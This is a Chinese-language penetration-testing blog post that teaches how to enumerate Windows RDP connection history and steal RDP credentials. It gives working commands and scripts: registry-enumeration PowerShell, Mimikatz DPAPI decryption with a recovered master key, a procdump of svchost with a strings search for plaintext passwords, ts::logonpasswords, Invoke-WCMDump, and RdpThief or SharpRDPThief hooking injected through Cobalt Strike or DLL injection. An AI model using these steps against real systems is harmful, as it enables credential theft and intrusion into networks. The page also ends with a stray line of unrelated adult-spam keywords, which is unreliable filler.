<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透|獲取遠程桌面連接記錄與RDP憑據

    一顆小胡椒2021-08-03 10:19:33

    前言

    Windows 遠程桌面是用于管理 Windows 服務器的最廣泛使用的工具之一。管理員喜歡使用遠程桌面,攻擊者也喜歡使用(狗頭)。在之前的文章中我們已經介紹了很多攻擊遠程桌面的方法,本篇文章我們繼續來探究。

    在滲透測試中,RDP 遠程桌面連接的歷史記錄不可忽視,根據歷史連接記錄我們往往能夠定位出關鍵的服務器。并且,當我們發現了某臺主機上存在遠程桌面的連接記錄,我們還可以想辦法獲取其遠程桌面登錄歷史的連接憑據。用于登錄 RDP 遠程桌面會話的憑據通常具有特權,這使它們成為紅隊操作期間的完美目標。

    獲取 RDP 遠程桌面連接記錄

    獲取 RDP 遠程桌面的連接記錄我們可以通過枚舉注冊表完成,但是如果想要獲得所有用戶的歷史記錄,需要逐個獲得用戶的 NTUSER.DAT 文件,通過注冊表加載配置單元,導入用戶配置信息,再進行枚舉才能夠實現。

    導出當前用戶的歷史記錄

    可以通過枚舉以下注冊表鍵值查看當前用戶的歷史記錄:

    HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
    

    如下圖所示,每個注冊表項保存連接的服務器地址,其中的鍵值 UsernameHint 對應登錄用戶名:

    看也可以通過 PowerShell 命令行來實現,首先通過以下命令枚舉指定注冊表項下所有的的子項,即當前用戶所連接過的所有的主機名:

    dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
    

    然后使用以下命令查詢指定注冊表項的注冊表鍵值,即查看連接所使用的用戶名:

    (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint
    

    下面給出一個三好學生寫的枚舉腳本:

    $RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
    $QueryPath = dir $RegPath -Name
    foreach($Name in $QueryPath)
    {   
        Try  
        {  
            $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
                Write-Host "Server:"$Name
                Write-Host "User:"$User"`n"
            }
            Catch  
            {
            Write-Host "No RDP Connections History"
            }
    }
    

    導出已登錄用戶的歷史記錄

    已登錄用戶的注冊表信息會同步保存在 HKEY_USERS\ 目錄下, 要對應每個用戶的 SID:

    可以看到,當前系統登錄三個用戶,分別有三個子項。我們可以通過枚舉注冊表鍵值 HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers 就能夠獲得已登錄用戶的遠程桌面連接歷史記錄:

    也就是說,如果當前主機登錄了兩個用戶,那么這兩個用戶的注冊表信息都會保存在 HKEY_USERS\ 下。但如果第三個用戶未登錄,此時是無法直接獲得該用戶的注冊表信息的,會報如下錯誤:
    也就無法直接導出該用戶的遠程桌面連接歷史記錄。

    最后給出一個三好學生寫的枚舉腳本:

    $AllUser = Get-WmiObject -Class Win32_UserAccount
    foreach($User in $AllUser)
    {
        $RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
        Write-Host "User:"$User.Name
        Write-Host "SID:"$User.SID
        Write-Host "Status:"$User.Status
        Try  
            { 
            $QueryPath = dir $RegPath -Name -ErrorAction Stop
        }
        Catch
        {
            Write-Host "No RDP Connections History"
            Write-Host "----------------------------------"
            continue
        }
        foreach($Name in $QueryPath)
        {   
            Try  
                {  
                    $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
                    Write-Host "Server:"$Name
                    Write-Host "User:"$User
                }
                Catch  
                {
                Write-Host "No RDP Connections History"
                }
        }
        Write-Host "----------------------------------"    
    }
    

    導出所有用戶的歷史記錄

    前面剛說了,對于未登錄用戶,無法直接獲得注冊表配置信息,那有什么解決辦法?其實這里可以通過加載配置單元的方式來解決,即打開用戶的 NTUSER.DAT 文件,加載配置單元導入用戶配置信息,然后進行枚舉。

    選中 HKEY_USERS 項,“文件” —> “加載配置單元”,如下圖:

    選擇打開用戶的 NTUSER.DAT 文件,路徑為 C:\Documents and Settings\用戶名\NTUSER.DAT,這里以當前未登錄的 moretz 用戶為例:

    接著指定一個項名稱,即可在 HKEY_USERS 下讀取該用戶的注冊表配置信息,如下圖所示:

    4538

    然后按照之前的路徑進行枚舉即可。

    此外,也可以通過命令行實現加載配置單元的實例:

    Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT
    

    最后給出一個三好學生寫的枚舉腳本:https://github.com/3gstudent/List-RDP-Connections-History

    獲取 RDP 遠程桌面連接憑據

    一般的,就抓取憑據方面而言,很多人專注于從 lsass.exe 進程里面竊取憑據,但是 lsass.exe 通常來說已經是被 EDR 產品重點監控的進程了,因此我們自然而然的研究方向便是找到可能不太嚴格審查的替代方案。這就引出了我們下文中對 RDP 憑據的收集。與 lsass.exe 一樣,RDP 協議相關的進程例如 svchost.exe、mstsc.exe 等也在收集憑證的范圍內,并且從這些進程中收集憑據不需要管理員特權。

    當我們發現目標主機中存在遠程桌面連接的歷史記錄時,我們可以根據歷史記錄找到其連接過的遠程桌面,并確定出關鍵的服務器。但光找到關鍵的服務器那能夠啊!我們最好能夠導出連接遠程桌面的連接憑據,獲取服務器密碼。下面我們便來簡單介紹幾個可以導出遠程桌面連接憑據的方法。

    在憑據管理器中查看 Windows 憑據

    對于那些經常使用 RDP 遠程桌面連接遠程服務器的用戶來說,如果他不想對遠程主機進行多次身份驗證的話,他們可能會保存連接的詳細信息,以便進行快速的身份驗證。而這些憑據使用數據保護 API 以加密的形式存儲在 Windows 的憑據管理器中。

    這些 Windows 憑據保存在磁盤上的以下位置中:

    C:\Users\<用戶名>\AppData\Local\Microsoft\Credentials
    

    我們可以用如下命令查看當前主機上保存的連接憑據:

    cmdkey /list    # 查看當前保存的憑據
    dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*    # 遍歷 Credentials 目錄下保存的憑據
    

    如上圖可以看到,Credentials 目錄下保存有兩個歷史連接憑據,但里面的憑據是加密的,要想查看還需要使用 Mimikatz。

    使用 Mimikatz 導出

    Mimikatz 也支持導出 Windows 上 Credentials 目錄下保存的遠程桌面連接憑據。

    首先執行以下命令:

    privilege::debug
    dpapi::cred /in:C:\Users\bunny\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6
    # mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<用戶名>\AppData\Local\Microsoft\Credentials\<憑據文件>"
    

    如上圖,得到的 pbData 就是憑據的加密數據,guidMasterKey 是憑據的 GUID。

    然后將上圖中得到的 guidMasterKey 值( {b3d8987a-42dd-4c6b-9c7f-a37d93e722b9})記錄下來并執行以下命令,找到與 guidMasterKey 也就是下圖執行結果中的 GUID 相關聯的 MasterKey:

    privilege::debug
    sekurlsa::dpapi
    # mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
    

    記錄 MasterKey 的值為 53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81。這個 MasterKey 就是加密憑據所使用的密鑰。

    最后執行以下命令,使用上面找到的 MasterKey 值破解指定的憑據文件 4D8F543ACD10B143849414A5085FE4E6:

    mimikatz.exe "dpapi::cred /in:C:\Users\bunny\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81"
    

    如下圖所示,成功破解得到了明文憑據:

    從 svchost 中獲取 RDP 連接憑據

    svchost.exe 是一個 Windows 系統進程,svchost.exe 是從動態鏈接庫 (DLL) 中運行的服務的通用主機進程名稱。這個程序對系統的正常運行是非常重要,可以承載多個服務來防止資源消耗。許多服務通過注入到該程序中啟動,所以當我們查看進程列表時會有多個該文件的進程。

    當用戶在目標主機上開啟運行 RDP 遠程桌面并通過遠程桌面連接進行身份驗證時,終端服務會由 svchost 進程托管。但是基于 WIndows 身份驗證機制的工作原理,RDP 連接憑據是以純文本形式存儲在 svchost 進程的內存中的。所以我們可以通過轉儲 svchost 進程的內存來獲取 RDP 連接憑據。

    由于查看進程列表往往會有多個 svchost 進程,所以我們要先識別是哪個進程托管了終端服務的連接。執行如下命令查詢終端服務:

    sc queryex termservice
    

    可以看到終端服務的 PID 為 4616。

    查詢哪個任務加載了 rdpcorets.dll:

    tasklist /M:rdpcorets.dll
    

    進程 PID 還是 4616。

    查詢終端服務的網絡連接情況:

    netstat -nob | Select-String TermService -Context 1
    

    PID 還是 4616。現在我們便可以確定,PID 為 4616 的進程托管了終端服務的連接。

    然后我們便可以通過 procdump.exe 將 PID 為 4616 的進程內存轉儲為 .dmp 了:

    procdump64.exe -ma 4616 -accepteula C:\Users\Administrator\Desktop
    

    轉儲成功后生成 svchost.exe_210714_012426.dmp 文件,大約 137 MB,RDP 的連接憑據就以明文的形式存儲在這個文件里面,如下我們可以通過 strings 命令將明文憑據檢索出來,密碼位于用戶名的下方:

    strings -el svchost.exe_210*.dmp | grep Whoami2021 -C3
    

    從已存在的 RDP 連接中導出

    Mimikatz 也支持從已存在的 RDP 連接中直接導出遠程桌面連接憑據。命令執行如下:

    privilege::debug
    ts::logonpasswords
    # mimikatz.exe "privilege::debug" "ts::logonpasswords"
    

    使用 PowerShell 導出

    ?項目地址:https://github.com/peewpw/Invoke-WCMDump

    Invoke-WCMDump.ps1 這個 PowerShell 腳本可以在 Windows 憑據管理器中枚舉 Windows 憑據,然后提取有關每個憑據的可用信息,且無須管理員權限。

    使用方法如下:

    PS> Import-Module .\Invoke-WCMDump.ps1
    PS> Invoke-WCMDump
        Username         : testusername
        Password         : P@ssw0rd!
        Target           : TestApplication
        Description      :
        LastWriteTime    : 12/9/2017 4:46:50 PM
        LastWriteTimeUtc : 12/9/2017 9:46:50 PM
        Type             : Generic    # “通用” 類型憑證
        PersistenceType  : Enterprise
    PS>
    

    但是該腳本只能為 “通用” 類型憑證檢索密碼,如果是 “域” 類型憑證的話是檢索不出密碼的:


    使用 RdpThief 實現 HOOK RDP 憑據


    ?項目地址:https://github.com/0x09AL/RdpThief

    當用戶打開 Windows 遠程桌面 mstsc.exe 并通過 RDP 協議遠程連接到其他系統時,將創建 mstsc.exe 進程。而如果此時我們使用 API Hooking 則可以直接攔截用戶提供的憑據,并將其保存到用戶主機上某處。Rio Sherri 開發了一個名為 RdpThief 的概念性驗證工具,它可以嘗試在運行有 mstsc.exe 進程的主機上 Hooking mstsc 進程中使用的函數(CredIsMarshaledCredentialW 和 CryptProtectMemory),并檢索其中的憑據然后將憑據寫入主機上的某個文件中。詳細原理可以看:https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/

    RdpThief 的代碼里包括三部分內容:

    ?C++ 工程文件

    可以編譯生成 .dll,該 .dll 會被注入到 mstsc.exe 進程中。

    ?RdpThief_x64.tmp

    shellcode 格式的 .dll,作者早已使用 sRDI 將編譯好的 dll 轉換為了 Shellcode 的格式,便于使用 .cna 腳本被 Cobalt Strike 加載調用。

    ?RdpThief.cna

    Colbalt Strike 使用的 cna 腳本,Colbalt Strike 可以使用該 cna 腳本將 RdpThief 加載為插件直接使用。

    使用 Cobalt Strike 加載 RdpThief

    首先下載 RdpThief 后,在項目里面有一個 .cna 文件,可以直接由 Cobalt Strike 進行加載為插件使用:

    加載成功后便有了以下三個支持的命令:

    ?rdpthief_enable:啟動心跳檢測,每 5 秒搜索一次 mstsc.exe 進程并注入 RdpThief_x64.tmp 中的 Shellcode。?rdpthief_disable:停止心跳檢測,但該命令不會卸載注入的 Shellcode?rdpthief_dump:顯示抓取的憑據,默認讀取路徑為 %temp%\data.bin

    如下,首先執行 rdpthief_enable 命令啟動心跳檢測:

    假設此時管理員在目標主機上使用 mstsc 遠程桌面登錄其他服務器并輸入了密碼:

    然后執行 rdpthief_disable 停止心跳檢測,最后執行 rdpthief_dump 即可成功顯示抓取到的結果:

    抓出來的憑據存儲在 %temp%\data.bin 目錄下

    直接注入 RdpThief.dll

    首先需要使用 Visual Studio 導入 RdpThief 的工程文件,編譯生成 RdpThief.dll。然后查看正在運行的 mstsc.exe 進程:

    tasklist /v | findstr  "mstsc"
    

    然后使用 PowerSploit 中的 Invoke-DllInjection.ps1 腳本將 RdpThief.dll 注入到 mstsc.exe 進程中去即可:

    Import-Module .\Invoke-DllInjection.ps1
    Invoke-DllInjection -ProcessID 1204 -Dll RdpThief.dll
    

    當管理員使用遠程桌面并輸入密碼時便會抓取到 RDP 憑據并保存到 %temp%\data.bin 中。

    我在測試的時候發現該工具有兩個條件,即目標主機上必須存在 mstsc.exe 進程,而且必須是管理員手動輸入憑據,如果管理員直接保存了憑據的話是抓不到的。


    使用 SharpRDPThief 實現 HOOK RDP 憑據

    ?項目地址:https://github.com/passthehashbrowns/SharpRDPThief


    SharpRDPThief 工具是 Josh Magri 用 C# 重寫對 RdpThief 的重寫。然而,與 RdpThief 相比,SharpRDPThief 使用 IPC Server 可以使用接收來自 mstsc.exe 進程中抓取到的憑據。如果 mstsc.exe 被終止,Server 也會繼續運行,并且等待 mstsc.exe 進程再次重新啟動時會嘗試再次進行 Hooking。這解決了 RdpThief 要求進程已經存在的限制。

    如下,直接運行 SharpRDPThief.exe,然后模擬管理員使用遠程桌面登錄某臺服務器,輸入密碼后 SharpRDPThief 成功抓取到了 RDP 登錄憑據:

    遠程桌面協議遠程桌面連接
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    遠程桌面對了解內網滲透的人來說可能再熟悉不過了。在滲透測試中,拿下一臺主機后有時候會選擇開 3389 進遠程桌面查看一下對方主機內有無一些有價值的東西可以利用。但是遠程桌面的利用不僅如此,本節我們便來初步匯總一下遠程桌面在內網滲透中的各種利用姿勢。
    如今,在很多組織機構內部,針對 DMZ 或隔離網絡區域內的計算機設備,為了限制其它接入端口風險,通常只允許這些設備開啟 3389 端口,使用遠程桌面來進行管理維護。那么我們能不能利用這個 3389 端口的 RDP 服務建立起一條通向內網的代理隧道呢?當然可以,下面就引出我們今天的主角 —— SocksOverRDP。
    如今,在很多組織機構內部,針對 DMZ 或隔離網絡區域內的計算機設備,為了限制其它接入端口風險,通常只允許這些設備開啟 3389 端口,使用遠程桌面來進行管理維護。
    通常認為遠程桌面協議連接遠程計算機的安全且值得信賴的應用程序,全球數以千計的 IT 專業人員和安全研究人員都在使用遠程桌面協議管理者自己的計算機設備
    據報道,遠程桌面連接對黑客的吸引力非常之大,來自各種 IP 地址的公開連接平均每天超過 37,000 次。在此期間,蜜罐被 1,500 多個 IP 地址命中 3,427,611 次。為了刺激攻擊者的胃口,研究人員將該系統命名為似乎是銀行網絡的一部分。結果表明,最常見的策略是使用 RDP 證書的變體,其次是“密碼”一詞的變體和最多十位數字的簡單字符串。
    Weston表示,這將有助于緩解RDP與其它暴力破解密碼攻擊,該技術經常被應用在人為操作的勒索軟件攻擊中,新的控制將提高暴力破解的難度。RDP允許個人通過網絡控制遠程計算機上的資源與資料,在創建遠程桌面連接時,本地端及遠程機器必須借由用戶名與密碼來進行身份驗證,一旦密碼被破解,黑客即可遠程部署勒索軟件或其它惡意程序。
    在最新的MITER ATT&CK評估中可以找到另一個示例,其中Microsoft Threat Protection將80個不同的警報自動關聯為兩個事件,這些事件反映了兩個攻擊模擬。事件視圖有助于使防御者快速了解并響應實際攻擊的端到端范圍。攻擊者暴力入侵系統,在不到一個小時的時間內部署勒索軟件、盜竊憑證或進行其他惡意活動,時間短減少了受害者進行干預的機會。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类